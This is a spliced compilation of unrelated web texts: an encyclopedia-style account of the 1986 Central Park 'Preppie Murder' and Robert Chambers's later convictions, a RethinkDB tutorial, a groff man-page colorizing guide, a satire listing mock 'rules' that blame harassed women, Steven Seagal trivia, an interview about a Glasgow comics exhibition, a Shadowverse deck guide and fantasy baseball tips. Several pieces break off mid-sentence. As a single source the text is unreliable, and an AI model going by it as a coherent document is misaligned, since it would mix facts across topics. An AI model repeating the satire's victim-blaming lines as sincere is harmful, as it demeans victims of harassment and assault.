Levin's half-naked corpse, covered in cuts, bruises and bite marks, was found by a cyclist in Central Park near Fifth Avenue and 83rd Street, behind the Metropolitan Museum of Art.[3] Clothing from her upper body had been pushed up around her neck, and her skirt was around her waist.[4] The Medical Examiner's office said Levin had been strangled. Police noted there were numerous cuts and bruises on her neck, both from the strangulation and from her own fingernails as she clawed at her killer's hands. Later, Chambers hid and watched as police officers investigated the scene. The investigators had found Levin's underwear some 50 yards (46 m) away.[4]
Arrest [ edit ]
Police were given Chambers' name by patrons at Dorrian's Red Hand bar, who had seen him leaving with Levin. When authorities arrived to question him at his home, he had fresh scratches on his face and arms, which he initially said were "cat scratches". He was taken in for questioning.
Chambers changed his story several times: "his cat had been declawed"; he "didn't part from Levin immediately upon leaving the bar"; "she had parted from him to purchase cigarettes" (it was later discovered that Levin did not smoke). In the final version of his confession, he claimed that some time after he and Levin had left the bar, she had asked him for "rough sex", tied the 6 ft 5 in (196 cm) Chambers' hands with her panties, and hurt his genitals as she stimulated him, and that she had been killed accidentally when he freed his hands and pushed her off him.
Confronted with this explanation, Assistant District Attorney Steve Saracco said: "I've been in this business for a while, and you're the first man I've seen raped in Central Park". The rape scenario was considered to be highly unlikely in light of the fact that Chambers was more than a foot taller than the 5 ft 4 in (163 cm) Levin, and at 220 lb (100 kg), he was almost double her weight.
Before booking, Chambers was permitted to see his father, to whom he said, "That fucking bitch, why didn't she leave me alone?"[5]
The trial, in court and in the media [ edit ]
The media had labeled the crime "The Preppie Murder". Some of New York City media sources had reported the more lurid aspects of the case; for example, New York Daily News headlines read: "How Jennifer Courted Death" and "Sex Play Got Rough". Levin's reputation was attacked, while Chambers was portrayed as a Kennedy-esque "preppie altar boy" with a "promising future".[citation needed]
Archbishop Theodore Edgar McCarrick of Newark, New Jersey, later Archbishop of Washington, wrote a letter of support for Chambers' bail application. He had known Chambers and his mother because Phyllis Chambers had been employed as a nurse by Cardinal Terence Cooke. McCarrick was close to the Chambers family and had served as Robert's godfather at his baptism.
Chambers had secured bail through his family and the owner of the bar, Jack Dorrian, who put up his townhouse as collateral for a bail bond.[6] He then remained free on bond for the two years of his trial, reporting regularly to family friend Monsignor Thomas Leonard, a former teacher.
Chambers was charged with, and tried for, two counts of second-degree murder. His defense was that Levin's death had occurred during "rough sex". He was defended by Jack T. Litman, who had previously used the temporary insanity defense on behalf of Richard Herrin for the murder of Yale University student Bonnie Garland. Prosecutor Linda Fairstein stated: "In more than 8,000 cases of reported assaults in the last 10 years, this is the first in which a male reported being sexually assaulted by a female."[7] The case popularized the strategy later colloquially termed the "rough sex defense". The defense sought to depict Levin as a promiscuous woman who kept a "sex diary"; however, no such diary existed. Levin, instead, kept a small notebook that contained the names and phone numbers of her friends and notations of ordinary appointments. Such tactics were met with public outrage, with protesters (some calling themselves "Justice for Jennifer") demonstrating outside the courtroom.
With the jury deadlocked for nine days, a plea bargain was struck in which Chambers pleaded guilty to the lesser crime of manslaughter in the first degree, and to one count of burglary for his thefts in 1986. He was sentenced to serve 5 to 15 years, with the sentence for burglary being served concurrently.
Aftermath [ edit ]
In April 1988, the tabloid television program A Current Affair broadcast a home video showing Chambers at a party when he was free on bail. He was shown in the video playing with four lingerie-clad girls, choking himself with his hands while making loud gagging noises, and twisting a Barbie doll's head off, saying in falsetto: "My name is... Oops! I think I killed it."
Chambers served most of his 15-year sentence at Auburn State Prison, but was later moved to Clinton Correctional Facility due to several infractions, which cost him all his time off for good behavior. He assaulted a correctional officer and was cited repeatedly for weapons and drug infractions, some of which resulted in additional criminal charges. Ellen Levin, Jennifer Levin's mother, also pleaded before the New York State parole board to deny him parole. Nearly five years of his term were served in solitary confinement.
In 1997, Chambers sent an untitled essay he wrote to prison anthologist Jeff Evans. The piece, subsequently titled "Christmas: Present", appeared in the book, Undoing Time: American Prisoners in Their Own Words.[8] Written while Chambers was incarcerated at Green Haven Correctional Facility in Stormville, New York, the essay is an entry from one of his journals, which he calls "a record of the meaningless hope and frightening losses of a person I don't even know."[9]
Chambers was released from Auburn Prison on February 14, 2003, after having served the entirety of his prison term due to his numerous infractions. His release was a media circus, with news media staking out prime sections of sidewalk opposite the prison as early as 13 hours before his 7:30 a.m. release time.[10] The same day, Dateline interviewed Chambers. Chambers continued to claim that he strangled Levin accidentally in an attempt to stop her from hurting him during rough sex. He also denied that he had been disciplined in prison. However, he had numerous infractions, including assaulting a member of the staff, and was caught with heroin in his cell.[11]
The owner of Dorrian's Red Hand settled with Levin's parents on their claim that the bar had served too much alcohol to Chambers. A wrongful death lawsuit, which Chambers did not contest, provides that he must pay all lump sums he receives, including any income from book or movie deals, plus 10 percent of his future income (up to $25 million), to the Levin family.[10] The family has said all the money it gets from Chambers will go to victims' rights organizations.[12] Ellen Levin became an activist for victims' rights, helping to secure the passage of thirteen pieces of legislation.
After leaving prison, Chambers settled in Dalton, Georgia, with his girlfriend, Shawn Kovell, who had appeared in the Barbie doll video made before his sentencing. The two lived there for eight to nine months. He found a job at the Pentafab dye factory. Chambers and Kovell moved to an East 57th Street Sutton Place, Manhattan apartment in New York City, when the death of Kovell's mother in the autumn of 2003 left it vacant. Chambers found a job at a limousine company in Queens, and later in a New Jersey sports trophy manufacturer's engraving plant.
Drug charges [ edit ]
Shortly before Thanksgiving 2004, Chambers was stopped in his Saab for driving with a suspended driver's license in Manhattan on Harlem River Drive at 139th Street. A search of the car he was driving found glassine envelopes containing an unknown substance. Chambers was charged on November 29, 2004, with possession of heroin and cocaine, driving with a suspended license, and driving a car without a valid inspection sticker.
Chambers pleaded guilty in July 2005, and on August 29 he was sentenced to a reduced sentence of 90 days in jail and fined $200 for the license violation. The judge added 10 days to the time prosecutors and Chambers' lawyer had agreed on because Chambers was an hour late for the hearing. He had faced up to a year in jail if he had been convicted after trial.[13]
On October 22, 2007, Chambers was arrested again, this time in his own apartment,[14] and charged with three counts of selling a controlled substance in the first degree, three counts of selling a controlled substance in the second degree, and one count of resisting arrest.[15] Kovell was also arrested on one count of selling a controlled substance in the second degree. The New York Daily News reported:
Cops said Chambers, 41, struggled with officers who tried to handcuff him on the felony charges. One detective suffered a broken thumb in the fracas.[16]
Commenting on his new arrest, former Assistant District Attorney Linda Fairstein, who had prosecuted Chambers for Levin's death, said:
Doesn't surprise me. I always believed his problem with drugs and alcohol would get him in trouble again. He's had the opportunity in prison to detox and take college courses, to straighten out his life, but that clearly is of no interest to him. He's learned nothing in the last 20 years.[16]
Chambers and Kovell were charged with running a cocaine operation out of the apartment. The two had previously been given notices for not paying the rent on the apartment, and the phone had been disconnected.[17][18] Chambers appeared in court on December 18; according to the New York Post, his lawyer filed "new papers elaborating on his psychiatric defense".[19] The filing claimed that Chambers had become an addict at the age of 14 and was, by 2007, using 10 to 12 bags of heroin a day. It was also reported that he also used cocaine, was smoking marijuana and taking prescription drugs. Chambers planned to plead insanity. Prosecutors countered that Chambers was a drug dealer and had sold as much as $2,800 in heroin at a time to undercover police. Chambers faced life in prison on the drug charges.[20]
On August 11, 2008, the Manhattan DA's office announced that Chambers had pleaded guilty to selling drugs. On September 2, 2008, he was sentenced to 19 years on the drug charge.[21] As of 2018 he is at Sullivan Correctional Facility. His earliest release date from prison is January 25, 2024.[22]
In popular culture [ edit ]
References [ edit ]
Notes [ edit ]
Further reading [ edit ]Inserting Data Into Table
rethinkDb.db('example').table('table1')
.insert({
post: "1",
title: "Coding Defined 1st Post"
})
.run().then(function(response){
console.log(response);
}).error(function(err){
console.log('Error'+ err);
});
Selecting Data from Table
rethinkDb.db('example').table('table1')
.run().then(function(response){
console.log(response);
}).error(function(err){
console.log('Error'+ err);
});
rethinkDb.db('example').table('table1')
.get('5b063bd7-2770-416c-b5f4-74ac41b3e9f3')
.run().then(function(response){
console.log(response);
}).error(function(err){
console.log('Error'+ err);
});
Getting Real Time Data
rethinkDb.db('example').table('table1')
.changes()
.run().then(function(cursor){
cursor.each(console.log);
}).error(function(err){
console.log('Error'+ err);
});
In this post we will be discussing about getting to know more about RethinkDB in Node.js. In our previous post we have discussed about Getting Started with RethinkDB in Nodejs. In this article we will be continuing our discussion on RethinkDB, which is an open-source database for the real-time web, and how it will help us to push data real time in our application.To insert data into the table in RethinkDB we will be usingmethod.The above query will return the following responseOn thing to note here that you need not have to specify Id field which will be auto generated. If you want to you can i.e. there is no hard and fast rule that you shouldn't specify Id field.To select data from the table you just need to specify the name of the table and all the data will be selected for you as shown belowThe above query will return the following outputIf you need to select a specific records then you can take the use ofmethod as shown belowRethinkDB is best suited when you have real time data coming in and you want that data to continuously refresh in your front end for the users to see. This can be achieved in RethinkDB by subscribing to the real-time feeds. For example if I need my table to continuously check for new values I will subscribe to it as shown below :Which will be give the output asYou can also check the short video which shows how the select command is refreshed whenever a new data is inserted into the table in RethinkDB.Please Like and Share the CodingDefined Blog, if you find it interesting and helpful.The terminal, as powerful as it might be, has a not undeserved fame of being boring. Boring white (or some other, fixed, color) on boring black (or some other, fixed, color) for everything. Yet displays nowadays are capable of showing millions of colors, and have been able to display at least four since the eighties at least. There's a resurgence of “colorization” options for the terminal, from the shell prompt to the multiplexers ( screen, tmux ), from the output of commands such as ls to the syntax highlighting options of editors and pagers. A lot of modern programs will even try to use colors in their output right from the start, making it easier to tell apart semantically different parts of it.
One of the last strongholds of the boring white-on-black (or conversely) terminal displays is man, the manual page reader. Man pages constitute the backbone of technical documentation in Unix-like systems, and range from the description of the syntax and behaviour of command-line programs to the details of system calls and programming interfaces of libraries, passing through a description of the syntax of configuration files, and whatever else one might feel like documenting for ease of access.
The problem is, man pages are boring. They usually have all the same structures, with sections that follow a common convention both in the naming and in the sequence ( NAME, SYNOPSIS, DESCRIPTION, SEE ALSO, etc.), and they are all boringly black and white, with a sprinkle of bold and italics/ underline.
There's to be said that bold and underline don't really “cut it” in console: undoubtedly, things would stand out more if colors were used to highlight relevant parts of the manual pages (headings, examples, code, etc) rather than simply bold and underline or italics.
Thanks to the power and flexibility of the pagers used to actually visualize those man pages, a number of people have come out with simple tricks that colorize pages by just reinterpreting bold/ italics/ underline commands as colors. In fact, there's a pager ( most ) that does this by default. Of course, most is otherwise inferior in many ways to the more common less pager, so there are solutions to do the same trick (color replacement) with less. Both solutions, as well as a number of other tricks based on the same principle, are pretty well documented in a number of places, and can be found summarized on the Arch wiki page on man pages.
I must say I'm not too big a fan of this approach: while it has the huge advantage of being very generic (in fact, maybe a little too generic), it has a hackish feeling, which had me look for a cleaner, lower level approach: making man itself (or rather the groff typesetter it uses) colorize its output.
Colorizing man pages with *roff
The approach I'm going to present will only work if man uses (a recent enough version of) groff that actually supports colors. Also, the approach is limited to specific markup. It can be extended, but doing so robustly is non-trivial.
We will essentially do three things:
tell groff to look for (additional) macros in specific directories;
to look for (additional) macros in specific directories; override some typical man page markup to include colors;
tell groff (or rather grotty, the terminal post-processor of groff ) to enable support for SGR escapes.
Extending the groff search path
By default, groff will look for macro packages in a lot of places, among which the user's home directory. Since cluttering home isn't nice, we will create a ~/groff directory and put out overrides in there, but we also need to tell groff to look there, which is done by setting the GROFF_TMAC_PATH environment variables. So I have in my ~/.profile the following lines:
GROFF_TMAC_PATH="$HOME/groff" export GROFF_TMAC_PATH
(Remember to source ~/.profile if you want to test the benefits of your override in your live sessions.)
Overriding the man page markup
The groff macro package used to typeset man pages includes an arbitrary man.local file that can be used to override definitions. For example, in Debian this is used to do some character substitutions based on whether UTF-8 is enabled or not, and it's found under /etc/groff. We will write our own man.local, and place it under ~/groff instead, to override the markup we want to colorize.
Sadly, most of the markup in man pages is presentational rather than semantic: things are explicitly typeset in bold/ italic/ regular, rather than as parameter/ option/ code/ whatever. There are a few exceptions, most notably the.SH command to typeset section headers. So in this example we will only override.SH to set section headers to green, leaving the rest of the man pages as-is.
Instead of re-defining.SH from scratch, we will simply expand it by adding stuff around the original definition. This can be achieved with the following lines (put them in your ~/groff/man.local ):
.rn SH SHorg.de SH. gcolor green. SHorg \\$*. gcolor..
The code above renames.SH to.SHorg, and then defines a new.SH command that:
sets the color to green; calls.SHorg (i.e. the original.SH ), passing all the arguments over to it; resets the color to whatever it was before.
The exact same approach can be used to colorize the second-level section header macro,.SS ; just repeat the same code with a general replacement of H to S, and tune the color to your liking.
Another semantic markup that is rather easy to override, even though it's only rarely used in actual man pages (possibly because it's a GNU extension), is the.UR /.UE pair of commands to typeset URLs, and its counterpart.MT /.ME pair of commands to typeset email addresses. Both work by storing the email address as the variable \m1, so all we need is to override its definition before it's actually used, in the second element of the pair; for example, if we want to typeset both URLs and email addresses in cyan, we would use:
.rn ME MEorg.de ME. ds m1 \\m[cyan]\\*(m1\\m[]\". MEorg \\$*...rn UE UEorg.de UE. ds m1 \\m[cyan]\\*(m1\\m[]\". UEorg \\$*..
(Keep in mind that I'm not a groff expert, so there might be better ways to achieve these overrides.)
Enabling SGR escapes
The more recent versions of grotty (the groff post-processor for terminal output) uses ANSI (SGR) escape codes for formatting, supporting both colors and emboldening, italicizing and underlining. On some distributions (Debian, for example), this is disabled by default, and must be enabled with some not-well-document method (e.g. exporting specific environment variables).
Since we already have various overrides in our ~/groff/man.local, we can restore the default behavior (enabling SGR escapes by default, unless the environment variable GROFF_NO_SGR is set) with the lines:
.if '\V[GROFF_NO_SGR]'' \. output x X tty: sgr 1
Of course, you should also make sure the pager used by man supports SGR escape sequences, for example by making your pager be less (which is likely to be the default already, if available) and telling it to interpret SGR sequences (e.g. by setting the environment variable LESS to include the -R option).
Limitations and future work
That's it. Now section headers, emails and URLs will come out typeset in color, provided man pages are written using semantic markup.
It is also possible to override the non-semantic markup that is used everywhere else, such as all the macros that combine or alternate B, I and R to mark options, parameters, arguments and types. This would definitely make pages more colored, but whether or not they will actually come out decently is all to be seen.
A much harder thing to achieve is the override of commands that explicitly set the font (e.g. *roff escape sequences such as \fB, often used inline in the code). But at this point the question becomes: is it worth the effort?
Wouldn't it be better to start a work on the cleanup and extension of the man macro package for groff to include (and use!) more semantic markup, with built-in colorization support?
Bonus track: italics
If your terminal emulator truly supports italics (honestly, a lot of modern terminals do, except possibly the non-graphical consoles), you can configure grotty to output instructions for italics instead of the usual behavior of replacing italics with underline. This is achieved by passing the -i option to grotty. Since grotty is rarely (if ever) called directly, one would usually pass -P-i option to groff.
This can be achieved in man by editing your ~/.manpath file and adding the following two lines:
DEFINE troff groff -mandoc -P-i DEFINE nroff groff -mandoc -P-i
And voilà, italicized rather than underlined italics.Women everywhere are rushing to familiarise themselves with the new internet guidelines, which aim to clarify when they and are not allowed to get upset.
“Women seem to get upset over the slightest thing,” explained online man Kevin Cain, who helped draft the new guidelines in association with a bunch of other men who were concerned that women were “wasting valuable time” and “stifling honest debate”.
“It’s our belief that by clarifying the rules like this, women will save their energy for being upset at the things that actually matter.”
Below are some examples of the updated rules. If you would like more information, simply mention being offended online and a man will help you out.
Somebody Called Me A Gendered Slur (“Bitch”, “Whore”, “Slut”, etc)
Am I Allowed To Be Offended: NO
On the surface these words may seem offensive, but nothing is actually more offensive than censorship and crushing freedom of speech, which is exactly what you’re trying to do. Don’t be so small minded – put your ‘feels’ aside and think about the big picture for once.
People Comment On My Appearance Instead Of My Skill At The Game
Am I Allowed To Be Offended: NO
You are being oversensitive and are lucky people are paying attention to you at all. Perhaps you should consider looking less like the way you do?
This Guy Keeps Explaining My Jokes Back To Me
Am I Allowed To Be Offended: NO
He’s just being charming. He sounds like a charming guy. This whole situation is very charming. You’re charmed!
My Personal Details Have Been Leaked And Someone Is Trying To Dox Me
Am I Allowed To Be Offended: NO
This is your fault for not protecting yourself correctly. Don’t you know how the internet works? These things just happen, like gravity, and are nobody’s fault. Do not move house, you’re just looking for attention when you do that.
I Have Been Sent An Unsolicited Picture Of A Penis
Am I Allowed To Be Offended: NO
What a lovely compliment! It would be terrible of you to be upset about this, and you would definitely be the villain if you forwarded it to, say, their partner, or their wife. Honestly if you can’t say something nice, say nothing at all.
Somebody Threatened To Kill Me
Am I Allowed To Be Offended: NO
Think back at the way you were acting. Isn’t this your fault? Did you say something to upset someone? Did you criticise a video game, or the group behaviour of gamers in general? You should have seen this coming. Do not evacuate your house, you are overreacting like you always do.
Whenever I Try To Talk In Chat, Dudes Keep Making Jokes About How I Have Breasts And It’s Making Me Extremely Uncomfortable
Am I Allowed To Be Offended: NO
It’s just harmless jokes! Let these harmless, well-meaning men express themselves in the only way they know how. Make sure to laugh loudly so you don’t make them feel uncomfortable. Watch out for those awkward silences!
Seventeen Different Men Have Proposed Marriage To Me This Week
Am I Allowed To Be Offended: NO
There is no greater sign of commitment and love than a man posting “marry me” on every single Instagram photo you upload. It’s understandable that you’d be uncomfortable when he’s putting his whole life on the line like that for you but try to let him down gently.
Somebody Threatened To Rape Me
Am I Allowed To Be Offended: NO
Step back and evaluate. Are you too female? Could you try being less female? Think about it. Additionally, perhaps you should consider wearing more, or possibly less, clothing.
I Am Literally Being Raped Right Now
Am I Allowed To Be Offended: POSSIBLY, IF YOU ARE ABSOLUTELY SURE YOU ARE BEING RAPED AND AREN’T JUST MAKING IT UP (LIKE WOMEN DO)
Before being offended, try to consider the feelings of your rapist. Will his future career be ruined as a result of your thoughtless offence-taking?Overview (4)
Born April 10, 1952 in Lansing, Michigan, USA Birth Name Steven Frederic Seagal Nicknames The Great One
Lord Steven
The Master of Aikido Height 6' 5" (1.96 m)
Mini Bio (1)
Spouse (4)
Trade Mark (6)
Ponytail
In all of his films, he is seen holding a Colt M1911A1 semi-automatic pistol. He owns several in his private collection.
Uses Aikido in fight scenes
Quiet, husky voice
Corrugated eyes
Towering height
Trivia (49)
Is the first foreigner ever to own and operate an Aikido dojo in Japan. Known as "Master Take Shigemichi", he was the chief instructor at the Aikido Tenshin Dojo in the city of Osaka.
Is an Aikido master - 7th Dan.
His love of guitar and appreciation of rasta music led him to study with a teacher in Jamaica, where he owns a vacation home.
His Santa Inez (CA) home includes 200 acres planted with cabernet grapes, which are sold to wineries after harvesting.
Master in Japanese Kendo.
Has been a bodyguard.
His first seven films were all starring roles, ending with Executive Decision (1996).
Is a singer and guitarist.
Owns a very large collection of guitars and samurai swords.
While his acting in Above the Law (1988) gained praise from the likes of Roger Ebert, Seagal has repeatedly faced criticism from both critics and fans who accuse him of playing the same character in many of his movies, as well as displaying a lack of emotional range. In fact, some people refer to embracing typecasting as "Seagalism."
Speaks Japanese fluently.
All of his main leading role movies have been rated R except for Half Past Dead (2002) which was the only Seagal film to be PG-13.
He and Jackie Chan are friends and Chan offered him the role of the villain in Rush Hour 3 (2007), but Seagal turned it down.
Used to own a production company with Julius R. Nasso called Seagal/Nasso Productions from 1994-2000.
As of 2006, his movies have earned $600 million worldwide.
Discovered by then-head of Creative Artists Agency (CAA), Michael Ovitz, who was one of Seagal's martial arts students.
Father of Savannah Seagal with Arissa Wolf.
Owns new production company Streamroller Productions with Bing Dang and Joe Halpin after his old production company Seagal/Nasso Productions dissolved.
Although he is a master in Aikido and Kendo, he also holds black belts in Karate and Judo.
As of 2009, all of his movies had been released direct to video since 2003 (although The Patriot (1998) and Ticker (2001) had the same fate). This will end with Robert Rodriguez's Machete (2010).
Was asked to play a cameo in Sylvester Stallone's The Expendables (2010), but had to turn it down because of his fallout relationship with producer Avi Lerner. However, Seagal joined in another big ensemble film, Machete (2010).
For almost twenty years, Seagal has been working as a fully commissioned deputy with the Jefferson Parish Sheriff's Office in Louisiana.
Was already thirty-six when he made his acting debut in Above the Law (1988).
Lives in Jefferson Parish in Louisiana while he works as a police officer.
While filming an episode of Steven Seagal: Lawman (2009), the torso of one of his daughters shows up in the background of a shot while the crew is filming the training of Steven's two German Shepherds.
Has been visiting children's hospitals for more than 25 years, and has stated that he will continue to do so until the day that he dies.
Offered his fellow Sheriff's Deputies free tickets to a concert benefiting the New Orleans Children's Hospital. They accepted the offer and attended the concert.
Has another child with Arissa (the nanny during his marriage to Kelly LeBrock, for which their third child was named after).
Has a sister named Brenda who lives in Toronto, Ontario, Canada.
The UFC and MMA Brazilian fighter Anderson Silva (aka "The Spider") has learned some moves with him.
Steven's mother, Patricia Anne (Fisher), was born in Michigan, and Steven's father, Samuel Seagal, was born in Rhode Island. Steven's paternal grandparents, Nathan Seagal (originally Siegelman) and Dora Goldstein, were Russian Jewish immigrants. Steven's maternal grandparents, Fred Joseph Fisher and Lanah Irene Lewis, were from families that had lived in the United States for many generations. Steven's mother had English, German, and distant Irish and Dutch, ancestry.
In an interview on Reelz Channel (aired January 4, 2013), he stated |
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Maximum of +40 Damage and 10% Lifesteal. Bonuses are lost upon death. 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This shield decays when out of combat for 25 seconds. UNIQUE Passive: +20% Lifesteal. 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create a painting, In The Car, is it art? What if Sha Nazir turns it into Glasgow hipsters for an exhibition poster? Comics are palimpsests—multiple layerings—of the surrounding culture, and the culture around us—advertising, Instagram and tabloids—increasingly reflects the text/image ethos of comics.? In short, do artists make comics or do comics make artists?
The Comics & Culture section of the exhibition explores the following themes:
High Art and Low Art: can we differentiate these if Picasso draws a strip, or if Frank Quitely is framed on a gallery wall?
Pop Art: the movement that made the everyday into art, including comics.
Horror Comics: not all comics are funny, but they can be socially relevant [see local scrapbook pages below].
Every Picture Tells a Story: perhaps all graphic art, even a classic by Rembrandt, tells a story. And on Byres Road will you see the comic invention mindset everywhere? The Irn Bru poster telling of Scottish consumerism? The tick on someone’s shoes? The Picture-Message you’ve just received?…
How does the exhibition address the contributions of women to the ‘invention’ of comics?
We felt it was important not to deny or distort the gender imbalance of the past in this field. However the exhibition is very much about looking forward, and enjoying the culture of comics that is all around us. We want the experience to be all-encompassing, and the visitor to see comic invention as they walk down Byres Road and beyond. To that end, as the visitor leaves the building the key object, with the exhibition’s fullest label, is Christine Borland’s To Be Set and Sown in the Garden. This work amalgamates different elements, and elevates the everyday to the status of art. Overall it represents the basic precept of Comic Invention, namely that each visitor creates their own narrative experience, and that this experience should stay with you beyond the walls of the Hunterian. It was important for us that it should be a contemporary female artist leading the way forward. For a quick addendum, you might also notice that in the lead image, the updating of In the Car to Two Hipsters in the Car, as well as the change in grooming, it is now the woman who is driving.
What were the unique or special circumstances in Glasgow that made it possible for The Glasgow Looking Glass to start and take off there?
So why Glasgow, as producer of the world’s first comic, home to the montage mind of Edwin Morgan, and now mecca for Turner Prize-winning cross genre compositions and the to-be place for Comic Invention? My personal answer would be that, as an international trading port since the late seventeenth century, Glasgow is a montage city, a cosmopolitan hybrid, full of contrasts that come together to create an imaginative whole that is often beyond imagination. It is a city with a working-class industrial base, but also with a mercantile, professional and cultural elite supporting national opera, ballet and theatre, and a world-class ancient University. It thrives on every kind of low culture that Bourdieu could imagine — football, pubs, heavy music and banter (the patter) — yet nurtures a broad-based education system admired worldwide, and produces exquisite art from Mackintosh to Morrison. It is a place that has the vibrant narrative of the Second City of the Empire, yet also the picturesque stand-still imagery of surrounding lochs, islands and mountains. In practical terms, for the birth of comics in 1825, Glasgow’s status as a blossoming industrial centre with its associated social trappings made it an obvious location for popular satire that used the latest lithographic know-how.
And finally, how has the exhibition been received? What have been the reactions from the public?
We have been absolutely delighted. Over the first weekend we recorded over one thousand visitors, and David Gaimster (The Director of the Hunterian) recently announced that Comic Invention is on track to break all attendance records. Reactions from visitor surveys and the comments book have been overwhelming. Likewise press and TV coverage has been beyond what we could have hoped for. Here are extracts from the latest couple of examples:
‘Comic Invention is evidently unique, daring and ultimately eccentric. It is the only place in the world you will see Lichtenstein next to artists like Rembrandt and Picasso. Unconventional exhibitions such as this are unlikely to be forgotten. […] It is not one to miss.’ (Jade Haggarty in TSA, Scotland’s main student newspaper)
‘…clever, clear and confident exhibition’, ‘I have rarely seen an introductory graphic panel as engaging – and, quite frankly, as cool – as the one that opens the Comic Invention exhibition’, ‘This is an exhibition that truly embraces browsing’, ‘ the quality and variety on show mean that it punches above its weight’, ‘Comic Invention succeeds in revealing this art form to a new audience, making a confident, clever, clearly articulated case for comics as a grown-up medium’. (Lucy Harland in Museums Journal)
The exhibition was a bit of a gamble, but it seems that people have ‘got it’, and it has been wonderfully to see visitors engaging so fully.
Posted: June 19, 2016
An edited version of this interview appeared in Comic Heroes Magazine No. 27, April 2016.Howdy Shadowverse players! I’m back and once again, we have yet another control blood article!! I have written so many of these over the course of me playing shadowverse but I just love the deck so much that I always want to share my progress with it!
Introduction
Control Blood is a deck that is very good at doing one thing, slowly draining your opponent out of resources and then winning through some massive win condition. Although this can be said about any control deck, the method in which control blood obtains survive-ability is due to its ability to heal through various means. Keeping your life total up is paramount when playing this deck.
Card Choices
Blood Drinkers Brand: Since Diabolic Drain is no more, this card replaces it in the rotation format. While you are Vengeance, you do get to recover 2 play points which in effect would make this card cost one. Not to mention this card can be paired up with several of your late game followers to help you stay in the game while creating a massive life swing. Playing this on a Diabolus Psema is pretty sweet because he himself won’t take the damage. So you can swing with that guy and gain a ton of life back. I have actually played this on a spawn of the abyss and it actually helped me win a game i probably would have lost otherwise. This card is quite versatile but i wouldn’t get any crazy ideas about this card being *better* than diabolic drain. Nothing currently truly replaces that.
Reach of the Archdemon: The revelation replacement. Okay, let’s get this out of the way. *This is definitely not Revelation!*. Now that we have gotten that out of our system, let’s talk about this card. While you are in vengeance, you do get back 3 PP so in effect it will cost 3 to do 3 damage to the board. This can be rather good against decks like sword and shadow.
Diabolus Psema: I am still unsure about this card. There are many times where this guy puts in a serious amount of work and does an excellent job with giving you additional options to help clear board and burn your opponents in demonic strike and demonic storm. He is a big body as well so he can be pretty difficult to take down. With the little testing that I have done with him, he seems to be an all around decent card. I need more play with him to truly gauge his worth.
Match ups
(Please understand that any information i put in this section is based on the match ups I have played until this point.)
Favorable
Artifact Portalcraft You have a large amount of AOE removal to help deal with their artifact engine. They can effectively deal with your late game threats through the use of Otherworld Rift and a barrage of ancient artifacts. (This actually happens more often than you might thing. Try and keep track if you can of the artifacts that are going into your opponents deck. Also, making plays to help mess with their ability to trigger resonance can also be a winning strategy against Deus Ex Machina.
Vengeance Blood Vengeance blood lost a lot of its explosiveness. It still does have cards in the form of Dark General and Emerelda to help push that late game storm damage. However, the loss of Blood wolf has severally hurt the deck. Due to this, this match up has seriously improved since the previous format.
Midrange Swordcraft Similar to with Artifact Portalcraft, use your AOE’s to keep their boards shut down. The thing about the new midrange sword that is currently being played is that it is incredibly good at flooding in the late game due to Arthur. Try not to use your AOE’s until then and use Fenrir to gain board presence and value. I would recommend against reckless use of belphegor as well. Sword and Vengeance blood are both decks that can punish bad usage of Belphegor.
Mysteria Runecraft This is a relatively easy match up. Although, it is important much like before to be very careful about how you play your belphegor. Remember, this is still a burn deck and you can be burned out from 10 through this decks combos with silver blade golem and mysteria synergy.
Most Aggro decks
Even
Tempo Forest Tempo Forest can be a little rough for you because of Fairy Driver. They can slowly wittle you down through the use of this and it’s quite annoying. Have your hungering horde’s ready to take out a board of fairies. Fenrir is also incredibly good in this match up as well.
Midrange Shadowcraft Midrange Shadow is on the boarderline of unfavorable to even. If your opponent does not get prince catacomb up and running, you have a bit of a chance to fight through the onslaught of seemingly endless value. If they do get it up, you are going to have a very difficult time winning the game because they simply get more value than you do out of your cards. In the beginning of the game, be prepared to focus on keeping their boards clean. Trade or do whatever you have to do to make sure they are not getting a ton of value out of their prince catacombs later on.
Unfavorable
Summit Haven I have not seen much of this deck yet, but from what I have seen, i have been crushed each time. I need a bit more practice against it before i can give an accurate analysis.
Ramp Dragon Ramp dragon feels so bad to fight against right now. Chronos is an automatic “No bahamut for you” card. Dragoon scyther is very strong against your bigger threats and to be honest, the majority of your cards are completely dead. Emerelda and Call of Cocytus are cards that can help you navigate the match up. If you find that your opponent is not playing the chronos version of the deck and they are playing traditional ramp dragon, then bahamut is on the menu. Try not to be the first bahamut in the match up. If you are, make sure that you have Israfils and scarlet sabruers on deck with evo’s to take them down.
Final Thoughts
Control blood is just as interesting as ever to me. I am going to continue to experiment with it and see what i can come up with in terms of better match up knowledge and different tech choices. Thank you for taking the time to read this article on control blood! I hope that you have learned something! If you haven’t checked out the release tournament for Chronogenesis, you definitely should! We are even going to have “door prizes” for select people as well! You can find the information in regards to that below!
Chronogenesis Release Tournament!
https://battlefy.com/the-shadow-nexus/the-shadow-nexus-chronogenesis-release-event/5a23efce517ab0035fc4f880/info?infoTab=details
The Shadow Nexus Discord
https://discord.gg/bdVuV7T1. Pick Up Steals Wherever You Can
This can be one of the more tricky categories to master in any league. I usually tend to lead leagues in steals by a mile or punt the category a month into the season. The best thing to do is not to draft a team full of speedsters, since by definition a speedster will tend to lack in all the other major categories (runs, RBIs, home runs, and average, which are all much more interconnected).
The key is to pick one or even two high steals guys, then try and give more focus to players who pick up 10-15 stolen bases on average. If you can field a team of sluggers who put up respectable low double-digit steals, you’ll be set for this elusive stat.
2. Even the Worst Teams Have Closers
It’s not usually necessary to spend too many high-round picks on closers. It may help you in strikeouts and ERA, but closers don’t pitch too many innings anyways so their benefit in those categories is minimal (though not to be completely ignored!).
If you don’t want to waste picks on the Mariano Riveras and Francisco Rodriguezs, research who has the inside track for closing jobs on bottom-feeder teams. These guys may post higher ERAs and lower strikeouts, but they can still rack up 30 saves a year. Just look at Brian Wilson on the Giants last year or Joakim Soria of the Royals before he broke out.
3. Focus on Pitching
This is a big point of debate with many fantasy baseball managers. Some will swear by hitting, others by pitching. Personally, I like consistency in my pitching corps. Hitters often crawl out of the woodwork as the season progresses, so there are always good pick-ups on the waiver wire. With pitching, it’s a much more complicated and costly game to play if you want to scout free agency for a new starter every week.
4. Re-evaluate Your Needs as You Draft
All too often, managers will not be paying attention to who they already picked in the midst of a 30-round draft. Cheat sheets and power rankings are helpful in getting a general feel for players, but take notice if you’ve already drafted three players projecting to hit.250 or if your pitchers’ ERAs are creeping steadily higher.
The cheat sheets can’t be personalized to your team, so take notice of not only what positions you need to fill, but what categories you are already falling behind in mid-draft.
5. Try to Get At Least One Big Bopper
